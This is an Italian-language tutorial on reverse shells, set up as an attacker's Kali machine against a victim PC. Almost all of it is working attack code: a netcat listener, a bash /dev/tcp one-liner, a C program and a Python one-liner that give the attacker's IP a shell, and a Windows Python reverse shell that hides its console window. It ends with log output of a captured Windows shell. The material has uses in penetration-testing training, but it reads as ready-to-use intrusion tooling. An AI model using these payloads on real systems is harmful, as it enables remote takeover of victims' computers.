REVERSE SHELL
Sul PC Kali (192.168.1.56) avviare $ nc –l –p<PORT> -vv
$ nc –l –p 1337 -vv
Sul PC victim (Linux):
$ /bin/bash –i >& /dev/tcp/192.168.1.56/1337 0>&1
Ecco cosa fa nel dettaglio ogni sua parte:
· /bin/bash -i: Avvia una sessione interattiva di Bash (-i).
· >& /dev/tcp/192.168.1.56/1337: Reindirizza lo standard output (stdout) e lo standard error (stderr) verso una connessione TCP all'indirizzo IP 192.168.1.56 sulla porta 1337.
· 0>&1: Prende lo standard input (stdin) dall'output del comando precedente (ovvero dalla connessione TCP). 
In sostanza, questo comando permette a un utente malintenzionato (o a un penetration tester) che controlla l'IP 192.168.1.56 di inviare comandi al tuo computer e riceverne i risultati direttamente
Se user2 e’ un utente su PCVICTIM
user2@ PCVICTIM: ~$ whoami
whoami 
user2
user2@ PCVICTIM: ~$ ls
Desktop
Documents
Downloads
…….
Vedo la list dei files  del PCVICTIM


Volendo si potrebbe installare nel PC victim un programma in C o Python mentre sul PC hacker sempre lo stesso nc: $ nc –l 1337 -vv
	myrsh.c – programma C in esecuzione sul PC Victim che esegue un comando inviato dal PC hacker 

	#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <unistd.h>

int main (int argc, char *argv[]) {
if (argc !=3){
 printf("usage prog ip port");
 return 1;
}
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(atoi(argv[2]));//9443);
const char* LHOST = argv[1];
inet_aton(LHOST, &addr.sin_addr);
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
connect(sockfd, (struct sockaddr *)&addr, sizeof(addr));
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
char *binaryPath="/bin/sh";
char *args[] = {binaryPath, "-c", "ls -l",NULL};
char *env[]={NULL};
printf("Exec shell");
if(execve(binaryPath, args, env)==-1){
	perror("Error on execve");
	return -1;
}
return 0;
}



	myrsh.sh – script bash + python sul PC victim che esegue comandi inviati dal PC Hacker

	if [ "$#" -ne 2 ]; then
  echo "usage: ${0##*/} <ip> <port>"
  exit 1
fi
python3 -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("'$1'",'$2'));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'




Caso PC Victim Windows
	myrsh.py – script bash + python sul PC victim che esegue comandi inviati dal PC Hacker

	import socket, subprocess, threading, os, sys

def pipe_data(src, dst):
    while True:
        try:
            data = src.recv(1024) if hasattr(src, 'recv') else src.read(1024)
            if not data: break
            dst.send(data) if hasattr(dst, 'send') else dst.write(data)
        except: break
if len(sys.argv) != 3:
	print(f"usage {sys.argv[0]} <ipRemote> <port remote>")
	sys.exit(1) 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], int(sys.argv[2])))

# Avvia cmd.exe con pipe standard
p = subprocess.Popen(['cmd.exe'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=0, creationflags=subprocess.CREATE_NO_WINDOW)

# Crea i thread per collegare socket e cmd.exe
threading.Thread(target=pipe_data, args=(s, p.stdin), daemon=True).start()
threading.Thread(target=pipe_data, args=(p.stdout, s), daemon=True).start()
threading.Thread(target=pipe_data, args=(p.stderr, s), daemon=True).start()

p.wait()



Ul PC kali:
┌──(kali㉿kali)-[~]
└─$ nc -l -p 1337 -vv
listening on [any] 1337 ...
192.168.1.150: inverse host lookup failed: Unknown host
connect to [192.168.1.56] from (UNKNOWN) [192.168.1.150] 58313
Microsoft Windows [Versione 10.0.19045.6466]
(c) Microsoft Corporation. Tutti i diritti sono riservati.
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